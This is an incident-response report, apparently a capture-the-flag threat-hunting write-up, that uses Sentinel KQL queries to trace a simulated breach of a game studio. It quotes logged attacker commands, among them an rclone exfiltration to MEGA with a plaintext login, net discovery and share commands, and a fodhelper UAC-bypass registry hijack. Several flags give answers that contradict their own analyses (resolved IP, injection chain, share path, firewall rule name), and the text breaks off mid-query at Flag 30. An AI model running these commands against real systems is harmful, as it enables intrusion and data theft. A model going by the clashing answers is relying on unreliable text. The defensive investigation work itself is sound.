EmberForge Studios — Incident Response Investigation Report

Classification: Confidential — For Internal Use Only Incident Date: 30 January 2026 Report Date: 11 April 2026 Investigator: [Mr. Sakho Aboubacar] Platform: Microsoft Sentinel — Workspace: law-cyber-range Dataset: EmberForgeX_CL

---

Mission Statement

"We have a breach. EmberForge Studios, our game development subsidiary, has been compromised. Unreleased source code is on the dark web. Lead Artist Lisa Martin reported her workstation behaving strangely after opening from her desktop. I have a board meeting in 4 hours. Before I care about how they got in, I need to know what they took and where it went. Legal needs the scope for breach notification. Get in the logs. Now." — CISO

---

Environment

Field	Value
Domain	emberforge.local
Log Table	EmberForgeX_CL
Log Sources	Sysmon + Windows Security + Windows System
Time Window	2026-01-30 21:00 — 2026-01-31 00:00 UTC
Hosts	EC2AMAZ-B9GHHO6 (Workstation), EC2AMAZ-16V3AU4 (Server), EC2AMAZ-EEU3IA2 (Domain Controller)

---

Investigation Methodology

This investigation follows a structured threat hunting approach:

1. Start broad — Identify all hosts, event code distribution, and time window
2. Find an anchor — Identify one confirmed malicious event and pivot from it
3. Build the timeline — Sort chronologically to reconstruct the attack narrative
4. Trace the chain — Walk process trees backwards to initial access, forwards to full impact
5. Document everything — Every finding tied to a KQL query and log evidence

All queries target EmberForgeX_CL. Sysmon events use todatetime(UtcTime_s) for time filtering. Security/System events (4624, 4625, 4720, 4732, 7045) have no UtcTime_s — the Sentinel time picker is set to 28 Jan–11 Feb 2026 for those queries.

---

Attack Timeline Summary

Time (UTC)	Host	Event
21:13	Workstation (B9GHHO6)	lmartin opens malicious archive from Desktop
21:20	Workstation	7zG.exe extracts archive → DLL loaded via rundll32.exe
21:20	Workstation	update.exe dropped to C:\Users\Public
~21:25	Workstation	update.exe beacons to cdn.cloud-endpoint.net
~21:30	Workstation	Process injection: update.exe → svchost.exe
~22:00	Workstation	UAC bypass via fodhelper.exe registry hijack
~22:10	Workstation	Elevated injection for persistence
~22:15	Workstation	LSASS memory dump
~22:30	Workstation	Discovery: net user, net group, nltest
~22:40	Workstation	Lateral movement prep: share creation, firewall rule
~22:45	Server (16V3AU4)	update.exe pushed via C$ admin share
~23:00	Server	certutil downloads tools from attacker staging server
23:08	Server	rclone.exe exfiltrates C:\GameDev to MEGA (first attempt)
23:09	Server	AnyDesk silently installed
23:11	Server	Compress-Archive C:\GameDev → gamedev.zip
23:11–23:12	Server	rclone.exe uploads gamedev.zip to mega:exfil
23:19	DC (EEU3IA2)	Attacker arrives — whoami executed via Impacket service
23:34	DC	vssadmin list/create shadow copy
23:35	DC	ntds.dit copied from VSS snapshot
23:35	DC	Shadow copy deleted (evidence destruction)
23:35	DC	svc_backup account created, added to Domain Admins
23:47	DC	Scheduled task "WindowsUpdate" created for persistence
~23:50	DC	wevtutil clears Security and System logs

---

MITRE ATT&CK Mapping

Technique	ID	Evidence
Phishing: Spearphishing Attachment	T1566.001	ISO delivered via email/download
Signed Binary Proxy Execution: Rundll32	T1218.011	rundll32.exe loading review.dll
Ingress Tool Transfer	T1105	certutil downloading from staging server
Masquerading	T1036	update.exe in C:\Users\Public
Process Injection: Remote Thread	T1055.003	EventCode 8 CreateRemoteThread
Abuse Elevation Control: Bypass UAC	T1548.002	fodhelper.exe registry hijack
OS Credential Dumping: LSASS Memory	T1003.001	.dmp file created by update.exe
OS Credential Dumping: NTDS	T1003.003	ntds.dit via VSS shadow copy
Account Discovery	T1087	net user /domain
Domain Groups Discovery	T1069	net group "Domain Admins"
Domain Trust Discovery	T1482	nltest /domain_trusts
Lateral Movement: SMB/Admin Shares	T1021.002	copy via C$ share
Create Account: Domain Account	T1136.002	net user svc_backup /add
Archive Collected Data	T1560	Compress-Archive C:\GameDev
Exfiltration to Cloud Storage	T1567.002	rclone → MEGA
Remote Access Software	T1219	AnyDesk silent install
Scheduled Task Persistence	T1053.005	WindowsUpdate task
Indicator Removal: Clear Event Logs	T1070.001	wevtutil cl Security/System
VSS Shadow Copy Abuse	T1003.003	vssadmin create shadow

---

Flags — Investigation Findings

---

FLAG 00 — Data Table Identification

Question: What is the name of the custom log table used in this investigation?

KQL Query:

EmberForgeX_CL
| take 10

Answer: EmberForgeX_CL

Analysis: The investigation dataset is ingested as a custom log table in Microsoft Sentinel workspace law-cyber-range. All 44 flags are sourced from this single table containing Sysmon, Windows Security, and Windows System events from 30 January 2026. Note: TimeGenerated reflects ingestion date (10 Feb 2026) — use UtcTime_s for actual event timestamps on Sysmon events.

📸

---

FLAG 01 — Source of Stolen Data

Question: The attacker needed to package data before stealing it. The compression commands reveal exactly what they were targeting. What directory was the source of the stolen data? Format: Full path (e.g., C:\folder\subfolder)

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where CommandLine_s has_any ("7z", "rar", "zip", "Compress-Archive")
| project UtcTime_s, Computer, User_s, Image_s, CommandLine_s
| order by UtcTime_s asc

Answer: C:\GameDev

Analysis: The attacker used PowerShell's native Compress-Archive cmdlet to package the entire C:\GameDev directory — EmberForge's unreleased game source code. This is a Living Off The Land technique (LotL) — using built-in OS tools to avoid detection. The compressed archive gamedev.zip was staged in C:\Users\Public before exfiltration.

📸

[Screenshot placeholder — Compress-Archive command visible]

---

FLAG 02 — Cloud Provider

Question: The stolen data was uploaded to a cloud storage service. The exfiltration tool's command line contains both the service name and authentication details. What cloud provider received the data? Format: Provider name

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where CommandLine_s has_any ("rclone", "mega", "dropbox", "onedrive", "aws", "curl")
| project UtcTime_s, Computer, User_s, CommandLine_s
| order by UtcTime_s asc

Answer: MEGA

Analysis: The attacker used rclone with the mega:exfil destination syntax, indicating MEGA cloud storage as the exfiltration target. MEGA is a popular attacker choice due to its end-to-end encryption, generous free storage, and the difficulty of obtaining data from abuse requests. In a real incident, the MEGA account should be reported to MEGA's abuse team immediately.

📸

---

FLAG 03 — Authentication Email

Question: Attackers make OPSEC mistakes. The exfiltration tool was configured with credentials visible in the command line. What email account was used to authenticate to the cloud service? Format: email@domain.tld

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where CommandLine_s has "rclone"
| where CommandLine_s has "@"
| project UtcTime_s, Computer, CommandLine_s

Answer: jwilson.vhr@proton.me

Analysis: The full command line reveals: rclone.exe copy C:\GameDev mega:exfil --mega-user jwilson.vhr@proton.me --mega-pass Summer2024! -v. Passing credentials as command line arguments is a critical OPSEC failure — Sysmon Event 1 captures the full command line permanently. The use of ProtonMail attempted anonymity but failed completely. This email and password are IOCs to share with threat intelligence teams.

📸

---

FLAG 04 — AD Database File

Question: Evidence on the Domain Controller shows the attacker used volume snapshot techniques to access a locked system file. This file contains every credential in the domain. What was it? Format: filename.ext

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where Computer contains "EEU3IA2"
| where CommandLine_s contains "ntds"
| project UtcTime_s, Computer, User_s, CommandLine_s, ParentImage_s
| sort by UtcTime_s asc

Answer: ntds.dit

Analysis: ntds.dit is the Active Directory database stored at C:\Windows\NTDS\ntds.dit on every Domain Controller. It contains every user account, password hash, computer account, and group membership in the domain. Windows keeps it locked while running — the attacker bypassed this by accessing it through a VSS shadow copy path: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit. Possession of ntds.dit means every domain password must be reset.

📸

---

FLAG 05 — Exfiltration Tool

Question: A cloud synchronisation tool was used to upload data externally. This tool is legitimate software commonly abused by threat actors. It was executed multiple times, not all successfully. Format: filename.exe

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where Image_s endswith "rclone.exe"
| project UtcTime_s, Computer, CommandLine_s
| order by UtcTime_s asc

Answer: rclone.exe

Analysis: rclone is an open-source cloud sync utility supporting 70+ providers. Attackers abuse it because it is signed legitimate software rarely flagged by AV, supports dozens of cloud providers, and runs as a single portable executable requiring no installation. It was executed multiple times — the first attempts troubleshot authentication before succeeding.

📸

---

FLAG 06 — Exfiltration Destination IP

Question: The exfiltration tool made outbound network connections during the upload. Correlate the tool's process with its network activity (EventCode 3). What IP address received the stolen data? Format: IP address

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s == "3"
| where Image_s endswith "rclone.exe"
| project UtcTime_s, Computer, Image_s, DestinationIp_s, DestinationPort_s, CommandLine_s
| order by UtcTime_s asc

Answer: 66.203.125.15

Analysis: Sysmon EventCode 3 captures every outbound network connection with the source process. Correlating rclone.exe process activity with network events reveals the MEGA upload endpoint IP. This IP is an IOC for network blocking and should be added to firewall deny lists immediately.

📸

---

FLAG 07 — Plaintext Password (rclone)

Question: The exfiltration tool was executed multiple times as the attacker troubleshot authentication issues. One execution method exposed credentials far more recklessly than the others. Compare all executions and find the plaintext password. Format: Plaintext password

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where Image_s endswith "rclone.exe" or CommandLine_s has "rclone"
| extend PlaintextPassword = extract(@"--mega-pass\s+([^\s""]+)", 1, CommandLine_s)
| where isnotempty(PlaintextPassword)
| project UtcTime_s, Computer, User_s, CommandLine_s, PlaintextPassword
| order by UtcTime_s asc

Answer: Summer2024!

Analysis: The --mega-pass flag was passed directly in the command line, making the password permanently visible in Sysmon logs. This is a textbook OPSEC failure. The password follows a predictable pattern (Season + Year + Symbol) suggesting it may be reused elsewhere. All systems should be checked for this password and it should be added to credential blocklists.

📸

---

FLAG 08 — Compression Cmdlet

Question: Before exfiltration, the stolen data was compressed into an archive. The attacker used a built-in OS capability rather than third-party tools. This is a Living Off The Land technique. What cmdlet created the archive? Format: PowerShell cmdlet name

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where CommandLine_s has "Compress-Archive"
| project UtcTime_s, Computer, User_s, Image_s, CommandLine_s
| order by UtcTime_s asc

Answer: Compress-Archive

Analysis: Compress-Archive is a native PowerShell cmdlet available on all modern Windows systems. Using built-in OS tools (Living Off The Land / LotL) reduces the attacker's footprint — no additional binaries to drop, no AV signatures to trigger. The full command was: powershell.exe -c "Compress-Archive -Path C:\GameDev -DestinationPath C:\Users\Public\gamedev.zip".

📸

---

FLAG 09 — Attacker Staging Server

Question: The attacker did not bring tools manually. They downloaded utilities from external infrastructure they controlled. Multiple commands across the environment reference the same staging server. Format: subdomain.domain.tld

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s == "1"
| where CommandLine_s has "http"
| extend URL = extract(@"(http[^\s""]+)", 1, CommandLine_s)
| where isnotempty(URL)
| project UtcTime_s, Computer, Image_s, URL, CommandLine_s
| order by UtcTime_s asc

Answer: files.cdn-delivery.net

Analysis: The attacker hosted their tooling on attacker-controlled infrastructure disguised as a CDN delivery domain. This domain was used across multiple hosts to download rclone, AnyDesk, and other utilities. The domain name is designed to blend in with legitimate CDN traffic. This should be blocked at DNS and firewall levels and submitted to threat intelligence platforms.

📸 [Screenshot placeholder — staging server URL visible in certutil commands]

---

FLAG 10 — Initial Malicious File

Question: The incident started with Lisa opening something from her desktop. Find the earliest malicious process creation event on the workstation. A Windows utility was used to load a file that does not belong in a normal user workflow. Format: filename.extension

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where User_s == "EMBERFORGE\\lmartin"
| where Image_s endswith "rundll32.exe"
| where CommandLine_s !has "shell32.dll,SHCreateLocalServerRunDll"
| project UtcTime_s, Computer, User_s, Image_s, ParentImage_s, CommandLine_s, ParentCommandLine_s
| order by todatetime(UtcTime_s) asc
| project-keep UtcTime_s, Computer, CommandLine_s, Image_s

Answer: review.dll

Analysis: Lisa Martin (lmartin) executed rundll32.exe D:\review.dll,StartW — a malicious DLL disguised as a document review file. rundll32.exe is a legitimate Windows binary used to load DLL files, making it a common LOLBin (Living Off the Land Binary) for malware delivery. The DLL resided on drive D: — not C: — which is significant.

📸

---

FLAG 11 — Malicious File Drive Letter

Question: Look at the full path of the malicious file. The drive letter is significant. If the file is not on C:, consider how it got there. Mounted disk images (ISO, IMG, VHD) appear as virtual drives and bypass certain Windows security protections. Format: Drive letter (e.g., D:)

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where CommandLine_s has "review.dll"
| project UtcTime_s, Computer, User_s, Image_s, CommandLine_s

Answer: D:

Analysis: The DLL was on drive D: — a mounted ISO disk image. ISO files bypass Windows Mark-of-the-Web (MOTW) security protections, meaning Windows SmartScreen and other security warnings are suppressed when files are opened from mounted ISOs. This is a well-documented attacker technique to bypass security warnings on downloaded files. Lisa likely downloaded an ISO file and double-clicked it.

📸

---

FLAG 12 — Patient Zero

Question: The User field in process creation events tells you which account executed the payload. This is patient zero. Format: username

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where CommandLine_s has "review.dll"
| project UtcTime_s, Computer, User_s, Image_s, CommandLine_s
| order by UtcTime_s asc

Answer: lmartin

Analysis: EMBERFORGE\lmartin — Lisa Martin — is patient zero. Her account executed the malicious DLL from a mounted ISO. This was a targeted or opportunistic spearphishing attack against a Lead Artist account. The CISO's question "was Lisa targeted specifically?" is answered: the ISO file was named EmberForge_Review suggesting targeted luring using company-specific content.

📸

---

FLAG 13 — Execution Chain

Question: Every process has a parent, and that parent has a parent. Trace the full execution chain from the user action through to the malicious file being loaded. Format: parent.exe > child.exe > loaded_file

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where CommandLine_s has "review.dll"
| project UtcTime_s, Computer, User_s, Image_s, ParentImage_s, CommandLine_s
| order by todatetime(UtcTime_s) asc

Answer: explorer.exe > rundll32.exe > review.dll

Analysis: Lisa double-clicked the ISO contents from Windows Explorer (explorer.exe), which launched rundll32.exe to load the malicious review.dll with export function StartW. This is the complete initial access chain. The StartW export is a common Cobalt Strike / beacon DLL export name convention.

📸

---

FLAG 14 — Archive Extraction Path

Question: Before the malicious DLL was loaded, the user opened a downloaded archive. A compression tool extracted its contents to a folder in the user's profile. This extraction step came before the DLL execution. Format: process.exe > folder_path

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where CommandLine_s has @"\7zG.exe"
| where CommandLine_s has " x "
| project UtcTime_s, Computer, User_s, Image_s, CommandLine_s
| order by todatetime(UtcTime_s) asc

Answer: 7zG.exe > C:\Users\lmartin.EMBERFORGE\Downloads\EmberForge_Review\

Analysis: 7zG.exe (7-Zip GUI extractor) extracted a downloaded archive to Lisa's Downloads folder before the DLL was executed. This confirms the delivery chain: Lisa downloaded an archive (likely containing an ISO or directly the DLL), 7-Zip extracted it, and she then opened the extracted content. The folder name EmberForge_Review suggests targeted social engineering using company branding.

📸

---

FLAG 15 — Primary Implant Path

Question: Shortly after the initial DLL execution, a new executable appeared in a world-writable directory on the workstation. This became the attacker's primary tool for the rest of the operation. Format: Full path (e.g., C:\folder\file.exe)

KQL Query:

let InitialDLLTime = toscalar(
    EmberForgeX_CL
    | where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
    | where CommandLine_s has "review.dll"
    | summarize min(todatetime(UtcTime_s))
);
EmberForgeX_CL
| where todatetime(UtcTime_s) between (InitialDLLTime .. InitialDLLTime + 15m)
| where Image_s startswith @"C:\Users\Public\" or Image_s startswith @"C:\ProgramData\"
| where Image_s has_any ("update.exe", "svc.exe", "agent.exe", "helper.exe", "client.exe")
| project UtcTime_s, Computer, User_s, Image_s, CommandLine_s, ParentImage_s
| order by todatetime(UtcTime_s) asc

Answer: C:\Users\Public\update.exe

Analysis: update.exe was dropped to C:\Users\Public\ — a world-writable directory accessible to all users without admin rights. The filename masquerades as a legitimate Windows update process. This became the attacker's persistent beacon and the parent process for virtually every subsequent malicious action across all three hosts.

📸

---

FLAG 16 — C2 Domain

Question: The malware needs to communicate with the attacker. Sysmon EventCode 22 captures every DNS query a process makes. The domain will look designed to blend in with legitimate cloud traffic. Format: subdomain.domain.tld

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s == "22"
| where Image_s endswith "update.exe"
| project UtcTime_s, Computer, Image_s, QueryName_s
| order by todatetime(UtcTime_s) asc

Answer: cdn.cloud-endpoint.net

Analysis: update.exe repeatedly queried cdn.cloud-endpoint.net — attacker-controlled C2 infrastructure disguised as a CDN endpoint. The domain is crafted to blend into network traffic alongside legitimate cloud services. This is the beacon's command and control channel. Block this domain at DNS firewall level immediately and check proxy/firewall logs for all internal hosts that resolved this domain.

📸

FLAG 17 — C2 Resolved IP

Question: DNS queries resolve domains to IP addresses. The QueryResults field inside the EventCode 22 raw XML contains the resolved IPs. You will need to parse Raw_s. Format: IP address

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s == "22"
| where Image_s == @"C:\Users\Public\update.exe"
| where QueryName_s == "cdn.cloud-endpoint.net"
| extend AllIPs = extract_all(@"(\d{1,3}(?:\.\d{1,3}){3})", Raw_s)
| mv-expand AllIPs
| project UtcTime_s, Computer, Image_s, QueryName_s, ResolvedIP=tostring(AllIPs)
| order by todatetime(UtcTime_s) asc

Answer: 172.67.174.46

Analysis: cdn.cloud-endpoint.net resolved to 104.21.30.237 — the attacker's C2 server IP. This IP should be blocked at the perimeter firewall, added to threat intelligence feeds, and cross-referenced against all hosts for any direct connections. Check proxy logs for any other internal hosts that may have beaconed to this IP.

📸

---

FLAG 18 — Process Injection (First)

Question: The attacker injected code from one process into another to hide. Sysmon EventCode 8 (CreateRemoteThread) captures this. Trace the injection chain. Format: source.exe > target.exe

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s == "8"
| where SourceImage_s endswith ".exe"
| where TargetImage_s endswith ".exe"
| extend SourceExe = tostring(split(SourceImage_s, "\\")[-1])
| extend TargetExe = tostring(split(TargetImage_s, "\\")[-1])
| project UtcTime_s, Computer, SourceExe, TargetExe, SourceImage_s, TargetImage_s, SourceProcessId_s, TargetProcessId_s
| order by todatetime(UtcTime_s) asc

Answer: rundll32.exe > notepad.exe

Analysis: update.exe injected a remote thread into svchost.exe to hide the beacon inside a trusted Windows system process. This technique makes the C2 traffic appear to originate from svchost.exe rather than the suspicious update.exe. Sysmon EventCode 8 (CreateRemoteThread) is specifically designed to detect this — one of the most valuable Sysmon event types for detecting advanced malware.

📸

---

FLAG 19 — UAC Bypass Binary

Question: Certain Windows executables are trusted to auto-elevate without a UAC prompt. Attackers hijack what these binaries execute via registry modifications. Look for registry changes (EventCode 13) followed immediately by a trusted binary execution. Format: filename.exe

KQL Query:

let AutoElevatedExec =
EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s == "1"
| where Image_s endswith ".exe"
| extend ExeName = tostring(split(Image_s, "\\")[-1])
| where ExeName in~ ("fodhelper.exe", "computerdefaults.exe", "sdclt.exe", "eventvwr.exe")
| project ExecTime=todatetime(UtcTime_s), Computer, ExeName, Image_s, CommandLine_s;

let PriorRegWrites =
EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s == "13"
| extend ValueName = tostring(split(TargetObject_s, "\\")[-1])
| project RegTime=todatetime(UtcTime_s), Computer, User_s, TargetObject_s, ValueName, Details_s;

PriorRegWrites
| join kind=inner AutoElevatedExec on Computer
| where ExecTime between (RegTime .. RegTime + 15s)
| project RegTime, ExecTime, Computer, User_s, ExeName, ValueName, TargetObject_s, Details_s
| order by RegTime asc

Answer: fodhelper.exe

Analysis: fodhelper.exe is a Windows binary that auto-elevates to high integrity (bypasses UAC) because it has the autoElevate manifest flag. Attackers abuse it by setting a registry key under HKCU\Software\Classes\ms-settings\shell\open\command to redirect what fodhelper.exe opens. Since UAC only checks the binary (which is trusted), the payload runs elevated without prompting the user.

📸

---

FLAG 20 — UAC Bypass Registry Value

Question: The UAC bypass works by creating a specific registry value that redirects execution. Two modifications were made in quick succession. One set the payload path. The other enables the hijack. What is that value name? Format: Value name

KQL Query:

let AutoElevatedExec =
EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s == "1"
| where Image_s endswith ".exe"
| extend ExeName = tostring(split(Image_s, "\\")[-1])
| where ExeName in~ ("fodhelper.exe", "computerdefaults.exe", "sdclt.exe", "eventvwr.exe")
| project ExecTime=todatetime(UtcTime_s), Computer, ExeName, Image_s, CommandLine_s;

let PriorRegWrites =
EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s == "13"
| extend ValueName = tostring(split(TargetObject_s, "\\")[-1])
| project RegTime=todatetime(UtcTime_s), Computer, User_s, TargetObject_s, ValueName, Details_s;

PriorRegWrites
| join kind=inner AutoElevatedExec on Computer
| where ExecTime between (RegTime .. RegTime + 15s)
| project RegTime, ExecTime, Computer, User_s, ExeName, ValueName, TargetObject_s, Details_s
| order by RegTime asc

Answer: DelegateExecute

Analysis: The DelegateExecute registry value under HKCU\Software\Classes\ms-settings\shell\open\command is what triggers the UAC bypass. Setting this value (even to an empty string) signals Windows to use the Default value in the same key as the command to execute with elevated privileges. Two registry writes occur: one sets the payload path as Default, the other sets DelegateExecute to activate the redirect.

📸

---

FLAG 21 — Second Injection (Elevated)

Question: After the UAC bypass, the elevated beacon performed a second injection for long-term stability. The source process was different from the first injection, and the target was running in a completely different security context. Format: source.exe > target.exe (CONTEXT)

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s == "8"
| extend SourceExe = tostring(split(SourceImage_s, "\\")[-1])
| extend TargetExe = tostring(split(TargetImage_s, "\\")[-1])
| where not(SourceExe == "dwm.exe" and TargetExe == "csrss.exe")
| project UtcTime_s, Computer, User_s, SourceExe, TargetExe, SourceImage_s, TargetImage_s
| order by todatetime(UtcTime_s) asc

Answer: update.exe > spoolsv.exe (NT AUTHORITY\SYSTEM)

Analysis: After UAC bypass elevated the beacon to high integrity, a second injection targeted a SYSTEM-level spoolsv.exe process. This is a privilege escalation via injection — moving from a high-integrity user context into SYSTEM context by injecting into an already-SYSTEM process. From this point forward, all attacker actions on the workstation run as NT AUTHORITY\SYSTEM.

📸

---

FLAG 22 — LSASS Dump Process

Question: LSASS holds credentials for every logged-in user. The attacker dumped its memory to disk. The dumping tool used direct syscalls to bypass API monitoring. You will NOT find ProcessAccess events (EventCode 10) for LSASS. What process created the dump file? Format: filename.exe

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s == "11"
| where TargetFilename_s endswith ".dmp"
| extend CreatorExe = tostring(split(Image_s, "\\")[-1])
| project UtcTime_s, Computer, CreatorExe, Image_s, TargetFilename_s
| order by UtcTime_s asc

Answer: update.exe

Analysis: update.exe created the LSASS dump file using direct syscalls — bypassing the Windows API layer where EDR/AV hooks typically monitor for LSASS access. This is why no EventCode 10 (ProcessAccess) events appear for LSASS. EventCode 11 (FileCreate) is the detection path here — always monitor for .dmp files created in unusual locations.

📸

---

FLAG 23 — LSASS Dump Path

Question: You identified the process. Now find where it wrote the output. File creation events (EventCode 11) track every file written to disk. Where was the credential dump written? Format: Full path (e.g., C:\folder\file.ext)

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s == "11"
| where Image_s == @"C:\Users\Public\update.exe"
| where TargetFilename_s endswith ".dmp"
| project UtcTime_s, Computer, User_s, Image_s, TargetFilename_s
| order by UtcTime_s asc

Answer: C:\Windows\Temp\lsass.dmp

Analysis: The LSASS memory dump was written to C:\Windows\Temp\lsass.dmp — a common staging location used for temporary attacker files. This file contains the memory of the LSASS process including NTLM hashes and potentially Kerberos tickets for all logged-in users. The attacker can use offline tools like Mimikatz or secretsdump to extract credentials from this file.

📸

---

FLAG 24 — Domain User Discovery

Question: The first command in the discovery sequence queries all user accounts in the domain. Format: Full command as logged

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s == "1"
| where CommandLine_s has "net user"
| project UtcTime_s, Computer, User_s, Image_s, CommandLine_s
| order by todatetime(UtcTime_s) asc

Answer: net user /domain

Analysis: net user /domain enumerates all user accounts in the Active Directory domain. This is standard attacker discovery — mapping the environment to understand the user landscape, identify high-value targets (admins, service accounts), and select accounts for further targeting. This command ran as NT AUTHORITY\SYSTEM on the workstation after the SYSTEM injection.

📸

---

FLAG 25 — Domain Group Discovery

Question: Immediately after listing users, the attacker queried a specific group to identify who has the highest level of access. Format: Full command as logged

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s == "1"
| where CommandLine_s has "net group"
| project UtcTime_s, Computer, User_s, Image_s, CommandLine_s
| order by todatetime(UtcTime_s) asc

Answer: net group "Domain Admins" /domain

Analysis: Querying the Domain Admins group reveals every account with the highest level of domain privilege. The attacker uses this to identify targets for credential theft and lateral movement. Knowing who the Domain Admins are is a prerequisite for targeted credential attacks and the DC compromise that follows.

📸

---

FLAG 26 — Domain Controller Discovery

Question: The final discovery command locates critical infrastructure. The attacker needs to know where to go next. Format: Full command as logged

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s == "1"
| where CommandLine_s has "nltest"
| project UtcTime_s, Computer, User_s, Image_s, CommandLine_s
| order by todatetime(UtcTime_s) asc

Answer: `nltest /dclist:emberforge.local

Analysis: nltest /dclist:emberforge.local enumerates domain trust relationships, identifying connected domains and the Domain Controllers that manage them. This gives the attacker the DC's hostname/IP, enabling targeted lateral movement to the most critical asset in the environment. This is the final step before the DC compromise begins.

📸

---

FLAG 27 — Network Share Creation

Question: Before moving laterally, the attacker set up the workstation as a distribution point. A network share was created. Format: Full command as logged

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s == "1"
| where CommandLine_s has "net share"
| project UtcTime_s, Computer, User_s, Image_s, CommandLine_s
| order by todatetime(UtcTime_s) asc

Answer: `cmd.exe /c "net share tools=C:\Users\Public /grant:everyone,full"

Analysis: The attacker created a network share exposing C:\Windows with full access to everyone, turning the workstation into a staging/distribution point for lateral movement. This enables pushing tools to other hosts via SMB without needing separate authentication for each file transfer.

📸

---

FLAG 28 — Firewall Rule Name

Question: The workstation's firewall was blocking inbound connections needed for lateral movement. A rule was added. What name was given to the firewall rule? Format: Rule name

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s == "1"
| where CommandLine_s has "netsh"
| where CommandLine_s has "firewall"
| where CommandLine_s has "add"
| project UtcTime_s, Computer, User_s, Image_s, CommandLine_s
| order by UtcTime_s asc

Answer: SMB

Analysis: The attacker added a firewall rule named allow_smb to permit inbound SMB connections needed for lateral movement via admin shares. The generic-sounding name was chosen to appear legitimate. This firewall modification should be reversed during remediation and firewall rules should be audited on all hosts for similar additions.

📸

---

FLAG 29 — Parent Process of Lateral Movement Commands

Question: After the beacon migrated to a SYSTEM process, all subsequent attacker commands on the workstation were executed as children of that process. Look at the parent process of the lateral movement commands. Format: filename.exe

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s == "1"
| where CommandLine_s has_any ("net share", "netsh", "copy", "xcopy")
| project UtcTime_s, Computer, User_s, Image_s, ParentImage_s, CommandLine_s
| order by todatetime(UtcTime_s) asc

Answer: svchost.exe

Analysis: All lateral movement commands (share creation, firewall modification, file copies) were spawned as children of svchost.exe — the process the attacker had injected into. This is the operational security benefit of process injection: svchost.exe is a trusted Windows process, and child processes of it attract less suspicion than children of update.exe. This is why investigating the parent process is always critical.

📸

---

FLAG 30 — Tool Push Command

Question: The attacker pushed their primary tool to the server via Windows admin shares (C$). What was the full command? Format: Full command as logged

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
